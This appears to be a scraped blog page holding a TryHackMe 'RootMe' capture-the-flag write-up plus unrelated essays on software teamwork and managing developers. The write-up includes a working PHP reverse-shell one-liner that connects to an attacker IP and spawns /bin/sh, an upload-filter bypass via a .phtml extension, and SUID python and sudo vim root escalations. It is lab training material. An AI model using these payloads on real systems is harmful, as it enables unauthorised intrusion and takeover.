src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkrDuY3pAgHHV4LV5pbCjOKtME9GC258Rz_i-CVXMwI1aHAJylHLWuEMha0bOaN5E4HJBZvfvjaq5ft_BdCJV0snHW7cJFELIe2H1oFqcd0FKmSkuI0hf7esPz0Ybj9WErynxjZft2cZ-a/s320/29-13-48_1635533293.png" width="320" /></a></div><p>Checking what <a href="https://www.sudo.ws/" target="_blank">sudo </a>privileges you have is usually a good cursory step before you bring in the big guns, but I was excited because how often do you get to run LinPEAS? Anyway, that's the answer to our next question. I just headed on over to GTFOBins: <a href="https://gtfobins.github.io/gtfobins/vim/#sudo">https://gtfobins.github.io/gtfobins/vim/#sudo</a> was a quick find.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlsi7xIuJLkNvKzSUIcS6faIEKpCCg9DOj_udscOoby2DavSGV5dQQ5-QGmJgLgXdt0Oy8OXcyuqLQo59DDjinjjDIgwu8o_p2B0NWosP81Gp6I70LKJsRaoQ6AGzxu8LNHLW1u4AOKuwr/s1106/29-13-48_1635533325.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="485" data-original-width="1106" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlsi7xIuJLkNvKzSUIcS6faIEKpCCg9DOj_udscOoby2DavSGV5dQQ5-QGmJgLgXdt0Oy8OXcyuqLQo59DDjinjjDIgwu8o_p2B0NWosP81Gp6I70LKJsRaoQ6AGzxu8LNHLW1u4AOKuwr/s320/29-13-48_1635533325.png" width="320" /></a></div><p>The first script worked perfectly.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOcRS2dbquWCl0zcAAlJ-Ze-iVcsgQFNiS3FJjr4khKI_cgTRaJEf20iwrZ_jQq4egFksvpL3MRUeJRUmuUZ8CNV8lE3ic12NBb2HTK8wnjdq3PTPxXr3J2OO34DNujUV5iFKib_CRdJn2/s331/29-13-50_1635533413.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="146" data-original-width="331" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOcRS2dbquWCl0zcAAlJ-Ze-iVcsgQFNiS3FJjr4khKI_cgTRaJEf20iwrZ_jQq4egFksvpL3MRUeJRUmuUZ8CNV8lE3ic12NBb2HTK8wnjdq3PTPxXr3J2OO34DNujUV5iFKib_CRdJn2/s320/29-13-50_1635533413.png" width="320" /></a></div><br /><p>Well, I think I pressed an arrow key or something, but still, pretty good. I rooted the box! Now to find that root flag!</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1l-MAS4yVPMR1fq90MbQNkGQZPECbEXluKtlqpXW6Oq5K3zi0Z5Js7YMH2lOY3EwOQeEa5jCKRCF26ovSese0Iwauedv-HEFiJKNNBMdzqG_uFaTbp1PFUBQeuKv9Njj3RH_WgrIKuC-U/s287/29-13-51_1635533467.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="161" data-original-width="287" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1l-MAS4yVPMR1fq90MbQNkGQZPECbEXluKtlqpXW6Oq5K3zi0Z5Js7YMH2lOY3EwOQeEa5jCKRCF26ovSese0Iwauedv-HEFiJKNNBMdzqG_uFaTbp1PFUBQeuKv9Njj3RH_WgrIKuC-U/s0/29-13-51_1635533467.png" width="287" /></a></div><br /><p>Yeehaw! That's 2 boxes in 2 days! I'm having an awesome week!<br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-81435279759803923872021-10-28T20:08:00.002-04:002021-10-28T20:15:56.565-04:00TryHackMe - RootMe Room<p> You know how most people do Sudoku or Crosswords? Lately, I've been doing exercises at <a href="https://tryhackme.com" target="_blank">TryHackMe</a> for fun.</p><p>So I recently completed my first Capture the Flag (CTF). What does that mean? Well, in TryHackMe (and I think in the hacker community in general) that means I completed a challenge to hack a machine without any hints or tutorials. This is a momentus occasion! It took me a long time to get to this level, but I'm super excited and wanted to share.</p><p>Traditionally, when you complete a CTF, the next task you should do is do a write-up about the challenge. You walk through how you did it in such detail that someone else could use your notes to do it themselves. So that's what I'm going to do.</p><p>TryHackMe breaks up their tasks into rooms. This room was titled <a href="https://tryhackme.com/room/rrootme" target="_blank">RootMe</a>. It is considered an "easy" level challenge. On TryHackMe you connect to their VPN, and spin up the virtual machine of the computer you're hacking into. So that's step 1. Easy peasy.</p><h2 style="text-align: left;"><b>Reconnaissance/Enumeration</b><br /></h2><p>When you start up a machine, the first thing you do is Reconnaissance. Because this is a CTF without any external content to search for (like a twitter feed or something) Reconnaissance is basically nothing. We'll move straight into enumeration. That is, you have to examine the computer and figure out what is there. This is the most important step because everything you do afterward stems from how well you do this step.</p><p>This was an easy challenge, so I started with the industry standard: <a href="https://nmap.org/" target="_blank">nmap</a>.</p>
<pre class="prettyprint bash"># nmap -v -sV ipaddress 10.10.212.144 </pre>
<p>Which showed me this:</p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiQpNIgcX0hNY4IemesZs3ds-pSUSgq3VklXv5xTHhPpMBJ1xR-ke9o0kdKDqefLuxsP2ngDnvV-ATcHUxmqacf6PbUZIYwLZqoxxgQ0svIa4Z71fgJnIL_oKdInEBtjbRlZ8JIg4ArfB6/s773/10-28--18-12_1635462735.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="595" data-original-width="773" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiQpNIgcX0hNY4IemesZs3ds-pSUSgq3VklXv5xTHhPpMBJ1xR-ke9o0kdKDqefLuxsP2ngDnvV-ATcHUxmqacf6PbUZIYwLZqoxxgQ0svIa4Z71fgJnIL_oKdInEBtjbRlZ8JIg4ArfB6/s320/10-28--18-12_1635462735.png" width="320" /></a></div><br /><br /><p></p><p>Pretty sweet. That actually answers the next three questions. 2 ports are open, Apache is version 2.4.29, and ssh is running on port 22</p><p>Apache is a webserver, so we can go to the website and take a look.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtRP4pUof74LC62VVxFxX1LzH3S67W74gFSdUd7WuRx8cBJXrDD5Y35htktqVneomJBIHuvZ38sYnViEZ9oFzg37VfGWgSuY1dFl6GityEXHzChUWlGW-0sqP5y066Zn4rGAzL47lG-hvw/s1081/28-18-13_1635462835.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="551" data-original-width="1081" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtRP4pUof74LC62VVxFxX1LzH3S67W74gFSdUd7WuRx8cBJXrDD5Y35htktqVneomJBIHuvZ38sYnViEZ9oFzg37VfGWgSuY1dFl6GityEXHzChUWlGW-0sqP5y066Zn4rGAzL47lG-hvw/s320/28-18-13_1635462835.png" width="320" /></a></div><p> </p><p>Well, that's pretty, but not really useful. The next question actually provides a bit of a hint as to what to do next: "Find directories on the web server using the GoBuster tool"</p><p><a href="https://www.kali.org/tools/gobuster/" target="_blank">Gobuster </a>is a great tool for searching for hidden directories on a website. There are other "buster" tools, such as <a href="https://www.kali.org/tools/dirbuster/" target="_blank">dirbuster</a> if you prefer a GUI, but gobuster is fast and I'm comfortable enough with it to use it.<br /></p><p>I use a wordlist TryHackMe put together for the <a href="https://tryhackme.com/room/adventofcyber2" target="_blank">2020 Advent Calendar Challenge</a> for my first gobuster run. There are plenty of other wordlists on Kali in <span style="font-family: courier;">/usr/share</span> by default though, so don't stress about the word list. This is just a random choice. It's probably not the most efficient actually. I highlighted the important directories for you.<br /></p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKg8HY_4u5ohEfG_zupLkBT8wmG0lWeoQv_02rOJoWICRJi9TWQiCPZpkCdX3ltVclf-ZYqCSRdPMIpyr4sQS0vJtwc5SATOINF0APkmh21dqhVwhrddrKkPEjQiJRdc-_L3rap3jKUZk2/s644/28-18-24_1635463456.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="374" data-original-width="644" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKg8HY_4u5ohEfG_zupLkBT8wmG0lWeoQv_02rOJoWICRJi9TWQiCPZpkCdX3ltVclf-ZYqCSRdPMIpyr4sQS0vJtwc5SATOINF0APkmh21dqhVwhrddrKkPEjQiJRdc-_L3rap3jKUZk2/s320/28-18-24_1635463456.png" width="320" /></a></div><br /><p></p><p> My notes mention the <span style="font-family: courier;">/panel</span> directory as "upload" here because I went ahead to the url and found this:<br /></p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBS04Kz_K0aoLrWGuRdejztAwebwsmNdfbJc0f58N6Njg2k-ihXn69Ei1vR9wtgu97jNDygzb5SHHw-D2k5ETNoHNZaTiZiKOGcwH24vbgV9Yig51he_tYu1LwotOzzHR_TKaEWS8kX-6R/s1081/28-18-26_1635463586.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="618" data-original-width="1081" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBS04Kz_K0aoLrWGuRdejztAwebwsmNdfbJc0f58N6Njg2k-ihXn69Ei1vR9wtgu97jNDygzb5SHHw-D2k5ETNoHNZaTiZiKOGcwH24vbgV9Yig51he_tYu1LwotOzzHR_TKaEWS8kX-6R/s320/28-18-26_1635463586.png" width="320" /></a></div> <p></p><p>It wasn't hard to guess that <span style="font-family: courier;">/uploads</span> would be how you could access the uploaded files, but a cursory check is a good idea anyway.<br /></p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy4uR-zyqxj4eNrddeu8mXxC1-_rMGGpYp-uWDTK5b5LHQeMTUp40-CcOVT6PxkgdrNC2qfHDms4E6Tug7P8qmPnQ4ruu9dzEt9lbKkfQtbVwHnEC6UEWuS74CLJHiRbyb4zgUZXrD_ao4/s1086/28-18-27_1635463661.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="621" data-original-width="1086" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy4uR-zyqxj4eNrddeu8mXxC1-_rMGGpYp-uWDTK5b5LHQeMTUp40-CcOVT6PxkgdrNC2qfHDms4E6Tug7P8qmPnQ4ruu9dzEt9lbKkfQtbVwHnEC6UEWuS74CLJHiRbyb4zgUZXrD_ao4/s320/28-18-27_1635463661.png" width="320" /></a></div><br /><p></p><p>Wow. Better than I thought! It's fully readable, like FTP. We don't even have to guess how to access our upload once we upload it. We can fill in the last question for Recon now as <span style="font-family: courier;">/panel/</span> is our hidden directory.</p><p>There's one more bit of Reconnaissance I did that was not part of the listed requirements. See, if we can upload something to your server, then we will need to activate that something and make it run. So that's what I wanted to find out. What sort of file will this server run? I assumed it was probably PHP, but it's not good to guess. We need to verify. I opened up developer tools on the upload page and refreshed the page.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Vjxrd7ndEsnqxYGMEBcRyHB5oSxOW0tqbmlJ3QxNGNaqXdGvr4DO520cgkIQADFfaRf3YH6NeIOgXTz3gz0f_gUZDmNKG5u4tyV2MtBU8M8zep4sY_X9QG_rSB_y38L2tsE6Sy80m2xI/s1088/10-28--18-32_1635463941.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="625" data-original-width="1088" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8Vjxrd7ndEsnqxYGMEBcRyHB5oSxOW0tqbmlJ3QxNGNaqXdGvr4DO520cgkIQADFfaRf3YH6NeIOgXTz3gz0f_gUZDmNKG5u4tyV2MtBU8M8zep4sY_X9QG_rSB_y38L2tsE6Sy80m2xI/s320/10-28--18-32_1635463941.png" width="320" /></a></div><p>Found it! The cookie for the session is listed as PHPSESSID. So we're good. This is definitely a server that's running PHP.<br /></p><h2 style="text-align: left;">Exploitation</h2><p>We want to run a program on this box that will connect to our machine. This is called a reverse shell. So I went to the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" target="_blank">Reverse Shell Cheatsheet</a>. There are a number of php scripts here. Ultimately, I figured out that I needed the last one (by trial and error). So I created a file on my machine with the following content.</p>
<pre class="prettyprint php"><?php $sock=fsockopen("10.2.93.173",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
</pre>
<p> Now, we need to open up a port on our machine, and the script we created requires port 4242. We'll use <a href="https://nmap.org/ncat/" target="_blank">netcat</a>.<br /></p>
<p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp6Ue8Rr8mR9tOagWk_61_nFy0Ih6S4ANNjiZFQi_FWrZJXBcP3nBLE_iMUdGGU1vPVtVg1S9b9eTcbJF2ZRto5Umj4ljs0dfZI2hLAH3IwsKEKq3xcyHiwuGKFXmhaK1ByJcBDUrjg31P/s268/28-18-46_1635464817.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="93" data-original-width="268" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp6Ue8Rr8mR9tOagWk_61_nFy0Ih6S4ANNjiZFQi_FWrZJXBcP3nBLE_iMUdGGU1vPVtVg1S9b9eTcbJF2ZRto5Umj4ljs0dfZI2hLAH3IwsKEKq3xcyHiwuGKFXmhaK1ByJcBDUrjg31P/s0/28-18-46_1635464817.png" width="268" /></a></div> <p></p><p>So I wrote the above script to <span style="font-family: courier;">reverse_shell.php</span> and uploaded it to the server.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7Lh3DMRfZUdD-7FQgqcTUxkcAKRhnspE1iJTV2yieuJToHs8ffZjJ_hE1MAnXXhhoSrV1-0y1jCVUShpGc2xih2M-UBYKbc7OWXJoHWRMtdihXu4FN8QhSNc9MjSo_tTOHeULMVwm9dmC/s1083/28-18-49_1635464956.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="626" data-original-width="1083" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7Lh3DMRfZUdD-7FQgqcTUxkcAKRhnspE1iJTV2yieuJToHs8ffZjJ_hE1MAnXXhhoSrV1-0y1jCVUShpGc2xih2M-UBYKbc7OWXJoHWRMtdihXu4FN8QhSNc9MjSo_tTOHeULMVwm9dmC/s320/28-18-49_1635464956.png" width="320" /></a></div><p></p><p>Darn it. I don't know what language that is, but "permitido" looks like permission. So I guess they don't allow me to upload php files....or do they? Let's try changing it from <span style="font-family: courier;">.php</span> to <span style="font-family: courier;">.phtml</span>.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOSpBGyUuZVQ88kux0GqR2lz825dj4O-soge9ADxbXCV3kne1bRfrOgv_wtWtg4nRUQ7qX7m-mqeiOrdYmUXImC0Qs8BCiq7XuSMI0XTL-YDUqJ1o4B5JPrjn_0hGR_eIV0wPUj0IV4WiA/s1086/28-18-50_1635465039.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="618" data-original-width="1086" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOSpBGyUuZVQ88kux0GqR2lz825dj4O-soge9ADxbXCV3kne1bRfrOgv_wtWtg4nRUQ7qX7m-mqeiOrdYmUXImC0Qs8BCiq7XuSMI0XTL-YDUqJ1o4B5JPrjn_0hGR_eIV0wPUj0IV4WiA/s320/28-18-50_1635465039.png" width="320" /></a></div><br /><p>Looks like a success, let's check that uploads directory.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3Gc6H5JgBomGO_CNqbveWLmb7p_MYRMJdR-aqUo-cXUDPOmIlui4SPDdHVs72T54mW6kiarZi8NGUDQSGeARUnadgO-P1mrcJu9uy7O-xwaal7j2vQeip3Rwq4AJVDGt4g2eG6Wv-yhUZ/s1088/28-18-51_1635465072.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="618" data-original-width="1088" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3Gc6H5JgBomGO_CNqbveWLmb7p_MYRMJdR-aqUo-cXUDPOmIlui4SPDdHVs72T54mW6kiarZi8NGUDQSGeARUnadgO-P1mrcJu9uy7O-xwaal7j2vQeip3Rwq4AJVDGt4g2eG6Wv-yhUZ/s320/28-18-51_1635465072.png" width="320" /></a></div><br /><p>Success! Now we just click on that file and the server will attempt to serve it to us. Because it's a phtml file, it will execute the php code inside, and trigger our reverse shell!</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS1E6dmBZcKEYnb0UJkZTjeodQvSQt9PHBkTqwvnqCQPPWKUg5bswW5H61kjppYtTKeRx_ZOtfVb9NqZBdT71gIR-vl_Rd-4cdwlDUZZd-Vc7Rv8p0nIks_0vYkXZDEKH_dRhZzeJpxL8n/s1067/28-18-52_1635465139.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="1067" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS1E6dmBZcKEYnb0UJkZTjeodQvSQt9PHBkTqwvnqCQPPWKUg5bswW5H61kjppYtTKeRx_ZOtfVb9NqZBdT71gIR-vl_Rd-4cdwlDUZZd-Vc7Rv8p0nIks_0vYkXZDEKH_dRhZzeJpxL8n/s320/28-18-52_1635465139.png" width="320" /></a></div><p>That $ is a good sign! That's a prompt. Let's figure out where we are.<br /></p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTXUPHo8qyCzVqRu6OpBxPQDVyAjBt0VDrwlMDNF70-FA6c6XqH8Y_Bo28m_9pU5XcYOOz3fOBzTFftGarufYSLvJsyR4SBvTU0n1U54bM2cHFrCxRDh6-8v_vNLdDy-N9Q6H3TEdSIPA/s518/28-18-53_1635465184.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="184" data-original-width="518" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTXUPHo8qyCzVqRu6OpBxPQDVyAjBt0VDrwlMDNF70-FA6c6XqH8Y_Bo28m_9pU5XcYOOz3fOBzTFftGarufYSLvJsyR4SBvTU0n1U54bM2cHFrCxRDh6-8v_vNLdDy-N9Q6H3TEdSIPA/s320/28-18-53_1635465184.png" width="320" /></a></div><p></p><p>That's to be expected. We're the webserver user, in the webserver directory. A couple of <span style="font-family: courier;">cd</span>s later and we can find the <span style="font-family: courier;">user.txt</span> file we're looking for for our next question.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRNc6wtuik1dR7PQjFW9FhTEdkc1NZBFjLEJivR8h_Qchb1RR4AMf4n9wYk7dkNjUmnfRU4OUZxXyFfLveXGC3weGFFuMyli_SBrv0j1HKuSiQzmfWLHpXEsFiU-UvSN3i_Fs7rj-JZhPp/s285/10-28--18-55_1635465305.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="241" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRNc6wtuik1dR7PQjFW9FhTEdkc1NZBFjLEJivR8h_Qchb1RR4AMf4n9wYk7dkNjUmnfRU4OUZxXyFfLveXGC3weGFFuMyli_SBrv0j1HKuSiQzmfWLHpXEsFiU-UvSN3i_Fs7rj-JZhPp/s0/10-28--18-55_1635465305.png" width="241" /></a></div><br /><p>Sweet! We got our first flag! We have a shell, so we've completed the Exploitation phase.<br /></p><h2 style="text-align: left;">Privilege Escalation</h2><p style="text-align: left;">Now, we've gotten onto the server, but we have a crappy shell. We can use this to get a better shell. I recommend <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys" target="_blank">ropnop's blog</a> for examples. I could fully upgrade the shell, but a basic bash shell was enough of an improvement, so I just used the python example:</p><p style="text-align: left;"></p>
<pre class="prettyprint bash">python -c 'import pty; pty.spawn("/bin/bash")'
</pre><p>So that should do. Let's see what to do next.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-v3AZcXQhv4jRDiqiStg42SJ3gGQbJcroMLxS9VqdUkqnOVLQdyvA1za9zwDjurxrkQDA5AC4Jjq9lahGOSpZ3_dVpIAnozki9mNGEQTRvYQMwamy3feAscORjP-ruYW_3aMAtUnaiBC3/s389/28-18-59_1635465552.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="389" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-v3AZcXQhv4jRDiqiStg42SJ3gGQbJcroMLxS9VqdUkqnOVLQdyvA1za9zwDjurxrkQDA5AC4Jjq9lahGOSpZ3_dVpIAnozki9mNGEQTRvYQMwamy3feAscORjP-ruYW_3aMAtUnaiBC3/s320/28-18-59_1635465552.png" width="320" /></a></div><br /><p>Again, the question gives us a hint. "Search for files with SUID permission, which file is weird?"</p>
<pre class="prettyprint bash">$ find / -perm /4000
</pre><p>I hate this sort of question. Weird? What does weird mean? What they mean by that is: what files have these permissions that don't NORMALLY have these permissions. There was a pretty big hint about 10 files in.</p><p><span style="font-family: courier;">/usr/bin/python</span> has SUID permission. That's an entire programming language. That is good for us, bad for security.</p><p>Well, I know a program that is common that has unusual permissions. Let's head on over to <a href="https://gtfobins.github.io/" target="_blank">GTFOBins</a> to see if we can find a script. Sure enough: <a href="https://gtfobins.github.io/gtfobins/python/#suid">https://gtfobins.github.io/gtfobins/python/#suid</a></p><p>So all we have to do is run the python command:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUax68NtTWaJK-gc1uKOyEQY8gmQcCRr0gn2uqKtNA1y4l6oDIg-nvgvebrZozcpVCc3jkeBWr1pfpDWsw6CYBkQILVWz6cRBCHnr9TzKDpFXSIk1JP_VEZnR09m1hLFa_wvTgGFKR0_Eb/s531/10-28--19-05_1635465956.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="173" data-original-width="531" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUax68NtTWaJK-gc1uKOyEQY8gmQcCRr0gn2uqKtNA1y4l6oDIg-nvgvebrZozcpVCc3jkeBWr1pfpDWsw6CYBkQILVWz6cRBCHnr9TzKDpFXSIk1JP_VEZnR09m1hLFa_wvTgGFKR0_Eb/s320/10-28--19-05_1635465956.png" width="320" /></a></div><br /><p>Holy crap! We did it! We rooted the box! Should be easy to find the answer to the last question.<br /></p><p></p>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPjSHRsNme0Ia2SKAxjspoRAWnKbQJhyphenhyphenj0TcFiFKD9VC6SenaUZSZKpqD0EQxEYsqPhidD0jajyQJfkuoVt3zifNiPsBnFOViIS9JBKXEmDFvqM_1j7JYlsiafMiuVF13EBrIYakGH88pH/s631/10-28--19-07_1635466052.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="631" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPjSHRsNme0Ia2SKAxjspoRAWnKbQJhyphenhyphenj0TcFiFKD9VC6SenaUZSZKpqD0EQxEYsqPhidD0jajyQJfkuoVt3zifNiPsBnFOViIS9JBKXEmDFvqM_1j7JYlsiafMiuVF13EBrIYakGH88pH/s320/10-28--19-07_1635466052.png" width="320" /></a></div><p></p><p>Thanks for the awesome learning experience TryHackMe. Onto the next box!<br /></p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-10403133182150827572018-07-23T10:45:00.000-04:002018-07-23T10:45:55.905-04:00Teams and ComplexityLet's pretend you're a car mechanic (I don't know, maybe you are). But you don't work at some shop in town, you work at a bigtime auto-maker onsite at the factory. You help build cars from scratch. You work with a lot of other car mechanics, and various engineers of different levels. If we were looking at the 1910s, you might be working for Henry Ford on one of the first ever assembly lines. Either way, you have a specific part of the car you're responsible for. Your skills probably extend beyond that, and you might work on a different part of the car each day as your manager moves you around to keep the factory efficient.<br />
<br />
One of your coworkers, Bob, is a superb engineer. He is very good at building cars, far better than you, and he does it faster than everyone else. Your boss really likes him. You often get stuck after him in the assembly line, so you know exactly what sorts of things he does. He's not sloppy, but he likes to do things <i>his way</i>. He will sometimes disassemble and rebuild the entire engine to make it work the way <i>he wants it to</i>. Your boss agrees that his way is best, because he is fast. So you have learned to live with his way of doing it. Sometimes it works well, sometimes it doesn't, but that's just how things go.<br />
<br />
You like working with Bob. Your cars are done fast and you get productivity bonuses. Bob is fun to talk to because he's so smart anyway. But one day Bob does something different from how you're used to. It has happened before--he'll come up with some trick to be slightly more efficient and you have to learn from it--but this time it's different. This time, it's a big change. On top of that, just as you're trying to figure out what changed, a new guy, Tom, joins the team. Your manager sees potential in Tom and sticks him in your position, moving you to work on a different part of the car.<br />
<br />
Tom doesn't understand the new thing Bob is doing either. But it's worse than that. Bob does a LOT of unique things. You are able to explain a few things you've learned about Bob's style with Tom on your lunch break each day, but even after several weeks he still hasn't picked up on all the different little tweaks. Your boss is frustrated because Tom is making Bob look bad by slowing down the completion of his cars, and lowering the quality as well.<br />
<br />
Tom even figures out the new big thing that Bob did, but he's struggling a lot. Just as he gets into the swing of things, Bob changes something again. The manager gets fed up and puts you back in place of Tom. You have spent weeks doing things the normal way and have forgotten many of the tricks that you're used to doing with Bob. It takes you some time to get back into the swing of things. Moreover, you never learned about the big thing that Bob had changed before you left, let alone all the other new tweaks he's made since you changed roles.<br />
<br />
You try and get a rundown from Tom, but he's not really great at explaining things. His skill is with cars, not people. You are at a loss and you struggle for several weeks as well. Overall, the factory loses months of productivity before one of you figures Bob out enough to get caught up.<br />
<br />
Now, imagine that's software development.<br />
<br />
Because it is.<br />
<br />
Don't be Bob.<br />
<br />
Document your changes. Work to fit existing patterns of the team. Agree on big changes so EVERYONE benefits from efficiency increases.<br />
<br />
If Bob rebuilt the alternator, he needs to remember to keep the mounting brackets in the same place so it still fits in the car. This is contract programming. Keep your inputs and outputs the same even as you improve things in individual functions. Use inputs and outputs rather than events so that your code can be followed and understood easily.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-82065091446780741002017-08-25T15:02:00.000-04:002017-08-25T15:02:31.634-04:00Managing Developers is HARDI've been a software dev for a long time. I've also been running my own software company for a few years now. This is important information because of why I do these things. I am a sofware developer because I love learning. I slack off when doing a job that bores me, and software development always has something new to experience which keeps me excited and interested. Why start a software company then? That puts me in the role of manager rather than developer. The truth is simple. I've worked for a lot of companies, and I don't see any of them doing a great job of managing their software development. That's not to say none of them have done a good job, but no one out there seems to be doing a <b>great</b> job.<br />
<br />
<h3>
How are they different?</h3>
<br />
A lot of companies get this part right. Software developers are different from other employees. The distinction is important in the same way it's important to acknowledge that an insurance agent is different from a construction worker. But they are employees, which means they must be managed too. Software development is brain work. Everyone says this, but no one acknowledges what it means. Maybe I can get the point across with and example.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">I was working my first .NET job years ago, and I was still learning how to code .NET. I was capable of coding other things, but I was still getting a grasp on the complexities of the Visual Studio IDE, something that takes months to years depending on the developer. A random manager (not the development manager) came up to me and asked me to create a bunch of folders on a shared drive. He sent me an excel spreadsheet with over 1k folder names. I pondered how to do it and gave him an estimate of 5 hours as I tried to figure out how to write a program to manage file systems in .NET. I started creating a complex application and learning about how the code could be used to manipulate the folders and how to import the list of folder-names from excel. After an hour, the development manager called me over and showed me how dumb I was being. He showed me a quick Excel trick (that I knew) to add extra columns with other content, (specifically the mkdir command from the windows command line) then copy pasted it into a command prompt and pressed enter. I immediately used his idea for the larger list and had the project completed in 5 minutes.</span><br />
<br />
Developers are tasked with jobs that other people don't know how to do. There are usually 100 ways to do the task. It's not just the developer's job to do the task, but to find the most efficient way to do it. But if you think about what that means, something else may occur to you, something that every developer knows, even if they don't admit it to themselves. If you don't know how someone does something, how can you know where the limits of their capabilities end? Developers are often given tasks that have nothing to do with software development. In the example above, I could have simply spent 5 hours creating the folders by hand. It's not really software development, but the manager didn't know what is and what isn't included in that list. <b>A knowledge worker's job is to get it done.</b> Programming is a side-note to developers today. Our job is just "whatever it takes".<br />
<br />
<h3>
How do you keep them working?</h3>
<br />
